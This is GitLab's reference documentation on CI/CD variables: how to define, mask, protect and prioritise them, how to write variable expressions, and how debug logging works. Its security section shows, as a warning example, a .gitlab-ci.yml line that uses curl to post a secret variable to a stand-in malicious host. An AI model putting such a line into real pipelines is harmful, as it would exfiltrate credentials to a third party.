.. | ||
img | ||
deprecated_variables.md | ||
predefined_variables.md | ||
README.md | ||
where_variables_can_be_used.md |
stage | group | info | type |
---|---|---|---|
Verify | Continuous Integration | To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments | reference |
GitLab CI/CD variables (FREE)
CI/CD variables are a type of environment variable. You can use them to:
- Control the behavior of jobs and pipelines.
- Store values you want to re-use.
- Avoid hard-coding values in your
.gitlab-ci.yml
file.
You can use predefined CI/CD variables or define custom:
- Variables in the
.gitlab-ci.yml
file. - Project CI/CD variables.
- Group CI/CD variables.
- Instance CI/CD variables.
For more information about advanced use of GitLab CI/CD:
- Get to productivity faster with these 7 advanced GitLab CI workflow hacks shared by GitLab engineers.
- Learn how the Cloud Native Computing Foundation (CNCF) eliminates the complexity of managing projects across many cloud providers with GitLab CI/CD.
Predefined CI/CD variables
GitLab CI/CD has a default set of predefined CI/CD variables you can use in pipelines configuration and job scripts.
Use predefined CI/CD variables
You can use predefined CI/CD variables in your .gitlab-ci.yml
without declaring them first.
This example shows how to output a job's stage by using the CI_JOB_STAGE
predefined variable:
test_variable:
stage: test
script:
- echo $CI_JOB_STAGE
The script outputs the stage
for the test_variable
, which is test
:
Custom CI/CD variables
You can create custom CI/CD variables:
- For a project:
- For all projects in a group in the group's setting.
- For all projects in a GitLab instance in the instance's settings.
You can override variable values manually for a specific pipeline, or have them prefilled in manual pipelines.
There are two types of variables: File
or Variable
.
Create a custom CI/CD variable in the .gitlab-ci.yml
file
To create a custom variable in the .gitlab-ci.yml
file,
define the variable and value with variables
keyword.
You can use the variables
keyword in a job or at the top level of the .gitlab-ci.yml
file.
If the variable is at the top level, it's globally available and all jobs can use it.
If it's defined in a job, only that job can use it.
variables:
TEST_VAR: "All jobs can use this variable's value"
job1:
variables:
TEST_VAR_JOB: "Only job1 can use this variable's value"
script:
- echo $TEST_VAR and $TEST_VAR_JOB
Variables saved in the .gitlab-ci.yml
file should store only non-sensitive project
configuration, like a RAILS_ENV
or DATABASE_URL
variable. These variables are
visible in the repository. Store sensitive variables containing secrets, keys, and so on
in project settings.
Variables saved in the .gitlab-ci.yml
file are also available in service containers.
If you don't want globally defined variables to be available in a job, set variables
to {}
:
job1:
variables: {}
script:
- echo This job does not need any variables
You can use variables to help define other variables. Use $$
to ignore a variable
name inside another variable:
variables:
FLAGS: '-al'
LS_CMD: 'ls $FLAGS $$TMP_DIR'
script:
- 'eval $LS_CMD' # Executes 'ls -al $TMP_DIR'
Use the value
and description
keywords to define variables that are prefilled
for manually-triggered pipelines.
Project CI/CD variables
You can add CI/CD variables to a project's settings. Only project members with
maintainer permissions
can add or update project CI/CD variables. To keep a CI/CD variable secret, put it
in the project settings, not in the .gitlab-ci.yml
file.
To add or update variables in the project settings:
-
Go to your project's Settings > CI/CD and expand the Variables section.
-
Select the Add Variable button and fill in the details:
- Key: Must be one line, with no spaces, using only letters, numbers, or
_
. - Value: No limitations.
- Type:
File
orVariable
. - Environment scope:
All
, or specific environments. - Protect variable (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- Mask variable (Optional): If selected, the variable's Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.
- Key: Must be one line, with no spaces, using only letters, numbers, or
After you create a variable, you can use it in the .gitlab-ci.yml
file:
test_variable:
stage: test
script:
- echo $CI_JOB_STAGE # calls a predefined variable
- echo $TEST # calls a custom variable of type `env_var`
- echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file
- cat $GREETING # the temp file itself contains the variable value
The output is:
Group CI/CD variables
To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
Use group variables to store secrets like passwords, SSH keys, and credentials, if you:
- Do not use an external key store.
- Use the GitLab integration with HashiCorp Vault.
To add a group variable:
-
In the group, go to Settings > CI/CD.
-
Select the Add Variable button and fill in the details:
- Key: Must be one line, with no spaces, using only letters, numbers, or
_
. - Value: No limitations.
- Type:
File
orVariable
. - Protect variable (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- Mask variable (Optional): If selected, the variable's Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.
- Key: Must be one line, with no spaces, using only letters, numbers, or
To view the group-level variables available in a project:
- In the project, go to Settings > CI/CD.
- Expand the Variables section.
Variables from subgroups are recursively inherited.
Instance CI/CD variables
- Introduced in GitLab 13.0.
- Feature flag removed in GitLab 13.11.
To make a CI/CD variable available to all projects and groups in a GitLab instance, define an instance CI/CD variable.
You can define instance variables via the UI or API.
To add an instance variable:
-
Navigate to your Admin Area's Settings > CI/CD and expand the Variables section.
-
Select the Add variable button, and fill in the details:
- Key: Must be one line, with no spaces, using only letters, numbers, or
_
. - Value: In GitLab 13.3 and later, 10,000 characters is allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
- Type:
File
orVariable
. - Protect variable (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- Mask variable (Optional): If selected, the variable's Value is not shown in job logs. The variable is not saved if the value does not meet the masking requirements.
- Key: Must be one line, with no spaces, using only letters, numbers, or
CI/CD variable types
Introduced in GitLab 11.11.
All predefined CI/CD variables and variables defined in the .gitlab-ci.yml
file
are Variable
type. Project, group and instance CI/CD variables can be Variable
or File
type.
Variable
type variables:
- Consist of a key and value pair.
- Are made available in jobs as environment variables, with:
- The CI/CD variable key as the environment variable name.
- The CI/CD variable value as the environment variable value.
Use File
type CI/CD variables for tools that need a file as input.
File
type variables:
- Consist of a key, value and file.
- Are made available in jobs as environment variables, with
- The CI/CD variable key as the environment variable name.
- The CI/CD variable value saved to a temporary file.
- The path to the temporary file as the environment variable value.
Some tools like the AWS CLI
and kubectl
use File
type variables for configuration.
For example, if you have the following variables:
- A variable of type
Variable
:KUBE_URL
with the valuehttps://example.com
. - A variable of type
File
:KUBE_CA_PEM
with a certificate as the value.
Use the variables in a job script like this:
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
An alternative to File
type variables is to:
- Read the value of a CI/CD variable (
variable
type). - Save the value in a file.
- Use that file in your script.
# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
# Pass the newly created file to kubectl
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
Mask a CI/CD variable
Introduced in GitLab 11.10
You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs.
To mask a variable:
- Go to Settings > CI/CD in the project, group or instance admin area.
- Expand the Variables section.
- Next to the variable you want to protect, select Edit.
- Select the Mask variable check box.
- Select Update variable.
The value of the variable must:
- Be a single line.
- Be 8 characters or longer, consisting only of:
- Characters from the Base64 alphabet (RFC4648).
- The
@
and:
characters (In GitLab 12.2 and later). - The
.
character (In GitLab 12.10 and later).
- Not match the name of an existing predefined or custom CI/CD variable.
Protect a CI/CD variable
You can protect a project, group or instance CI/CD variable so it is only passed to pipelines running on protected branches or protected tags.
To protect a variable:
- Go to Settings > CI/CD in the project, group or instance admin area.
- Expand the Variables section.
- Next to the variable you want to protect, select Edit.
- Select the Protect variable check box.
- Select Update variable.
The variable is available for all subsequent pipelines.
CI/CD variable security
Malicious code pushed to your .gitlab-ci.yml
file could compromise your variables
and send them to a third party server regardless of the masked setting. If the pipeline
runs on a protected branch or
protected tag, malicious code can compromise protected variables.
Review all merge requests that introduce changes to the .gitlab-ci.yml
file before you:
- Run a pipeline in the parent project for a merge request submitted from a forked project.
- Merge the changes.
The following example shows malicious code in a .gitlab-ci.yml
file:
build:
script:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
Custom variables validated by GitLab
Some variables are listed in the UI so you can choose them more quickly.
Variable | Allowed Values | Introduced in |
---|---|---|
AWS_ACCESS_KEY_ID |
Any | 12.10 |
AWS_DEFAULT_REGION |
Any | 12.10 |
AWS_SECRET_ACCESS_KEY |
Any | 12.10 |
WARNING: When you store credentials, there are security implications. If you use AWS keys for example, follow the Best practices for managing AWS access keys.
Use CI/CD variables in job scripts
All CI/CD variables are set as environment variables in the job's environment. You can use variables in job scripts with the standard formatting for each environment's shell.
To access environment variables, use the syntax for your runner executor's shell.
Use variables with Bash, sh
and similar
To access environment variables in Bash, sh
, and similar shells, prefix the
CI/CD variable with ($
):
job_name:
script:
- echo $CI_JOB_ID
Use variables with PowerShell
To access variables in a Windows PowerShell environment, including environment
variables set by the system, prefix the variable name with ($env:
) or ($
):
job_name:
script:
- echo $env:CI_JOB_ID
- echo $CI_JOB_ID
- echo $env:PATH
In some cases environment variables might need to be surrounded by quotes to expand properly:
job_name:
script:
- D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
Windows Batch
To access environment variables in Windows Batch, surround the variable
with %
:
job_name:
script:
- echo %CI_JOB_ID%
You can also surround the variable with !
for delayed expansion.
Delayed expansion might be needed for variables that contain white spaces or newlines.
job_name:
script:
- echo !ERROR_MESSAGE!
List all environment variables
You can list all environment variables available to a script with the export
command
in Bash or dir env:
in PowerShell. This exposes the values of all available
variables, which can be a security risk.
Masked variables display as [masked]
.
For example:
job_name:
script:
- export
# - 'dir env:' # Use this for PowerShell
Example job log output:
export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="master"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
export CI_PROJECT_NAME="gitlab-foss"
export CI_PROJECT_TITLE="GitLab FOSS"
export CI_PROJECT_NAMESPACE="gitlab-org"
export CI_PROJECT_ROOT_NAMESPACE="gitlab-org"
export CI_PROJECT_PATH="gitlab-org/gitlab-foss"
export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY="registry.example.com"
export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY_USER="gitlab-ci-token"
export CI_REGISTRY_PASSWORD="[masked]"
export CI_RUNNER_ID="10"
export CI_RUNNER_DESCRIPTION="my runner"
export CI_RUNNER_TAGS="docker, linux"
export CI_SERVER="yes"
export CI_SERVER_URL="https://example.com"
export CI_SERVER_HOST="example.com"
export CI_SERVER_PORT="443"
export CI_SERVER_PROTOCOL="https"
export CI_SERVER_NAME="GitLab"
export CI_SERVER_REVISION="70606bf"
export CI_SERVER_VERSION="8.9.0"
export CI_SERVER_VERSION_MAJOR="8"
export CI_SERVER_VERSION_MINOR="9"
export CI_SERVER_VERSION_PATCH="0"
export GITLAB_USER_EMAIL="user@example.com"
export GITLAB_USER_ID="42"
...
Inherit CI/CD variables
- Introduced in GitLab 13.0 behind a disabled feature flag:
ci_dependency_variables
.- Feature flag removed in GitLab 13.1.
You can inherit CI/CD variables from dependent jobs.
This feature makes use of the artifacts:reports:dotenv
report feature.
Example with dependencies
keyword.
build:
stage: build
script:
- echo "BUILD_VERSION=hello" >> build.env
artifacts:
reports:
dotenv: build.env
deploy:
stage: deploy
script:
- echo $BUILD_VERSION # => hello
dependencies:
- build
Example with the needs
keyword:
build:
stage: build
script:
- echo "BUILD_VERSION=hello" >> build.env
artifacts:
reports:
dotenv: build.env
deploy:
stage: deploy
script:
- echo $BUILD_VERSION # => hello
needs:
- job: build
artifacts: true
Priority of CI/CD variables
Variables of different types can take precedence over other variables, depending on where they are defined.
The order of precedence for variables is (from highest to lowest):
- Trigger variables, scheduled pipeline variables, and manual pipeline run variables.
- Project-level variables or protected variables.
- Group-level variables or protected variables.
- Instance-level variables or protected variables.
- Inherited CI/CD variables.
- YAML-defined job-level variables.
- YAML-defined global variables.
- Deployment variables.
- Predefined CI/CD variables.
For example, if you define:
API_TOKEN=secure
as a project variable.API_TOKEN=yaml
in your.gitlab-ci.yml
.
API_TOKEN
takes the value secure
as the project
variables take precedence over those defined in .gitlab-ci.yml
.
Unsupported variables
Variable names are limited by the underlying shell used to execute scripts (see available shells. Each shell has its own unique set of reserved variable names. Keep in mind the scope of CI/CD variables to ensure a variable is defined in the scope in which you wish to use it.
Where variables can be used
This section describes where and how the different types of variables can be used.
Advanced use
Limit the environment scopes of CI/CD variables
You can limit the environment scope of a variable by defining which environments it can be available for.
To learn more about scoping environments, see Scoping environments with specs.
Deployment variables
Integrations that are responsible for deployment configuration may define their own variables that are set in the build environment. These variables are only defined for deployment jobs. Please consult the documentation of the integrations that you are using to learn which variables they define.
An example integration that defines deployment variables is the Kubernetes integration.
Auto DevOps environment variables
Introduced in GitLab 11.7.
You can configure Auto DevOps to
pass CI/CD variables to the running application by prefixing the key of the
variable with K8S_SECRET_
.
These prefixed variables are then available as environment variables on the running application container.
WARNING: Variables with multi-line values are not supported due to limitations with the Auto DevOps scripting environment.
When you can override variables
You can override the value of a variable when:
- Manually running pipelines in the UI.
- Manually creating pipelines via API.
- Manually playing a job via the UI.
- Using push options.
- Manually triggering pipelines with the API.
- Passing variables to a downstream pipeline.
These pipeline variables declared in these events take priority over other variables.
Restrict who can override variables
Introduced in GitLab 13.8.
To allow only users with Maintainer role to set these variables, you can use
the API to enable the project setting restrict_user_defined_variables
.
When a user without Maintainer role tries to run a pipeline with overridden
variables, an Insufficient permissions to set pipeline variables
error occurs.
The setting is disabled
by default.
If you store your CI/CD configurations in a different repository, use this setting for strict control over all aspects of the environment the pipeline runs in.
Override a variable by manually running a pipeline
Introduced in GitLab 10.8.
You can override the value of a current variable by running a pipeline manually.
For instance, suppose you added a custom variable named $TEST
and you want to override it in a manual pipeline.
Go to your project's CI/CD > Pipelines and select Run pipeline. Choose the branch you want to run the pipeline for, then add a variable and its value in the UI:
The runner overrides the value previously set and uses the custom value for this specific pipeline.
CI/CD variable expressions
- Introduced in GitLab 10.7 for the
only
andexcept
CI keywords- Expanded in GitLab 12.3 with the
rules
keyword
Use variable expressions to limit which jobs are created in a pipeline after changes are pushed to GitLab.
In .gitlab-ci.yml
, variable expressions work with both:
rules
, which is the recommended approach, andonly
andexcept
, which are candidates for deprecation.
This is particularly useful in combination with variables and triggered pipeline variables.
deploy:
script: cap staging deploy
environment: staging
only:
variables:
- $RELEASE == "staging"
- $STAGING
Each expression provided is evaluated before a pipeline is created.
If any of the conditions in variables
evaluates to true when using only
,
a new job is created. If any of the expressions evaluates to true
when except
is being used, a job is not created.
This follows the usual rules for only
/ except
policies.
Syntax of CI/CD variable expressions
Below you can find supported syntax reference.
Equality matching using a string
Examples:
$VARIABLE == "some value"
$VARIABLE != "some value"
(introduced in GitLab 11.11)
You can use equality operator ==
or !=
to compare a variable content to a
string. We support both, double quotes and single quotes to define a string
value, so both $VARIABLE == "some value"
and $VARIABLE == 'some value'
are supported. "some value" == $VARIABLE
is correct too.
Checking for an undefined value
Examples:
$VARIABLE == null
$VARIABLE != null
(introduced in GitLab 11.11)
It sometimes happens that you want to check whether a variable is defined
or not. To do that, you can compare a variable to null
keyword, like
$VARIABLE == null
. This expression evaluates to true if
variable is not defined when ==
is used, or to false if !=
is used.
Checking for an empty variable
Examples:
$VARIABLE == ""
$VARIABLE != ""
(introduced in GitLab 11.11)
To check if a variable is defined but empty, compare it to:
- An empty string:
$VARIABLE == ''
- A non-empty string:
$VARIABLE != ""
Comparing two variables
Examples:
$VARIABLE_1 == $VARIABLE_2
$VARIABLE_1 != $VARIABLE_2
(introduced in GitLab 11.11)
It is possible to compare two variables. This compares values of these variables.
Variable presence check
Example: $STAGING
To create a job when there is some variable present, meaning it is defined and non-empty,
use the variable name as an expression, like $STAGING
. If the $STAGING
variable
is defined, and is non empty, expression evaluates to true
.
$STAGING
value needs to be a string, with length higher than zero.
Variable that contains only whitespace characters is not an empty variable.
Regex pattern matching
Introduced in GitLab 11.0
Examples:
=~
: True if pattern is matched. Ex:$VARIABLE =~ /^content.*/
!~
: True if pattern is not matched. Ex:$VARIABLE_1 !~ /^content.*/
(Introduced in GitLab 11.11)
Variable pattern matching with regular expressions uses the
RE2 regular expression syntax.
Expressions evaluate as true
if:
- Matches are found when using
=~
. - Matches are not found when using
!~
.
Pattern matching is case-sensitive by default. Use i
flag modifier, like
/pattern/i
to make a pattern case-insensitive.
Conjunction / Disjunction
Introduced in GitLab 12.0
Examples:
$VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"
$VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3
$VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3
It is possible to join multiple conditions using &&
or ||
. Any of the otherwise
supported syntax may be used in a conjunctive or disjunctive statement.
Precedence of operators follows the
Ruby 2.5 standard,
so &&
is evaluated before ||
.
Parentheses
- Introduced in GitLab 13.3.
- Feature flag removed in GitLab 13.5.
It is possible to use parentheses to group conditions. Parentheses have the highest precedence of all operators. Expressions enclosed in parentheses are evaluated first, and the result is used for the rest of the expression.
Many nested parentheses can be used to create complex conditions, and the inner-most
expressions in parentheses are evaluated first. For an expression to be valid an equal
number of (
and )
need to be used.
Examples:
($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)
($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3
$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)
Storing regular expressions in variables
It is possible to store a regular expression in a variable, to be used for pattern matching.
The following example tests whether $RELEASE
contains either the
string staging0
or the string staging1
:
variables:
STAGINGRELS: '/staging0|staging1/'
deploy_staging:
script: do.sh deploy staging
environment: staging
rules:
- if: '$RELEASE =~ $STAGINGRELS'
NOTE: The available regular expression syntax is limited. See related issue for more details.
If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the ^mast.*
regular expression directly,
as well as from in a variable:
variables:
MYSTRING: 'master'
MYREGEX: '/^mast.*/'
testdirect:
script: /bin/true
rules:
- if: '$MYSTRING =~ /^mast.*/'
testvariable:
script: /bin/true
rules:
- if: '$MYSTRING =~ $MYREGEX'
Debug logging
Introduced in GitLab Runner 1.7.
WARNING: Enabling debug tracing can have severe security implications. The output will contain the content of all your variables and any other secrets! The output will be uploaded to the GitLab server and made visible in job logs!
By default, the runner hides most of the details of what it is doing when processing a job. This behavior keeps job logs short, and prevents secrets from being leaked into the log unless your script writes them to the screen.
If a job isn't working as expected, this can make the problem difficult to
investigate; in these cases, you can enable debug tracing in .gitlab-ci.yml
.
Available on GitLab Runner v1.7+, this feature enables the shell's execution log. This results in a verbose job log listing all commands that were run, variables that were set, and so on.
Before enabling this, you should ensure jobs are visible to team members only. You should also erase all generated job logs before making them visible again.
Restricted access to debug logging
- Introduced in GitLab 13.7.
- Feature flag removed in GitLab 13.8.
With restricted access to debug logging, only users with developer or higher permissions can view job logs when debug logging is enabled with a variable in:
- The
.gitlab-ci.yml
file. - The CI/CD variables set in the GitLab UI.
WARNING:
If you add CI_DEBUG_TRACE
as a local variable to your runners, debug logs are visible
to all users with access to job logs. The permission levels are not checked by Runner,
so you should make use of the variable in GitLab only.
Enable Debug logging
To enable debug logs (traces), set the CI_DEBUG_TRACE
variable to true
:
job_name:
variables:
CI_DEBUG_TRACE: "true"
Example truncated output with CI_DEBUG_TRACE
set to true
:
...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
$'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
$'\''git'\'' "config" "fetch.recurseSubmodules" "false"
$'\''rm'\'' "-f" ".git/index.lock"
$'\''git'\'' "clean" "-ffdx"
$'\''git'\'' "reset" "--hard"
$'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
$'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
++ export CI_PROJECT_TITLE='GitLab FOSS'
++ CI_PROJECT_TITLE='GitLab FOSS'
++ export CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
++ CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
++ export CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
++ CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
++ export CI_PROJECT_NAMESPACE=gitlab-examples
++ CI_PROJECT_NAMESPACE=gitlab-examples
++ export CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
++ CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
++ export CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
++ CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
++ export CI_PROJECT_VISIBILITY=public
++ CI_PROJECT_VISIBILITY=public
++ export CI_PROJECT_REPOSITORY_LANGUAGES=
++ CI_PROJECT_REPOSITORY_LANGUAGES=
++ export CI_DEFAULT_BRANCH=master
++ CI_DEFAULT_BRANCH=master
++ export CI_REGISTRY=registry.gitlab.com
++ CI_REGISTRY=registry.gitlab.com
++ export CI_API_V4_URL=https://gitlab.com/api/v4
++ CI_API_V4_URL=https://gitlab.com/api/v4
++ export CI_PIPELINE_IID=123
++ CI_PIPELINE_IID=123
++ export CI_PIPELINE_SOURCE=web
++ CI_PIPELINE_SOURCE=web
++ export CI_CONFIG_PATH=.gitlab-ci.yml
++ CI_CONFIG_PATH=.gitlab-ci.yml
++ export CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
++ CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
++ export CI_COMMIT_SHORT_SHA=dd648b2e
++ CI_COMMIT_SHORT_SHA=dd648b2e
++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
++ export CI_COMMIT_REF_NAME=master
++ CI_COMMIT_REF_NAME=master
++ export CI_COMMIT_REF_SLUG=master
++ CI_COMMIT_REF_SLUG=master
...
Video walkthrough of a working example
The Managing the Complex Configuration Data Management Monster Using GitLab video is a walkthrough of the Complex Configuration Data Monorepo working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.
The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page.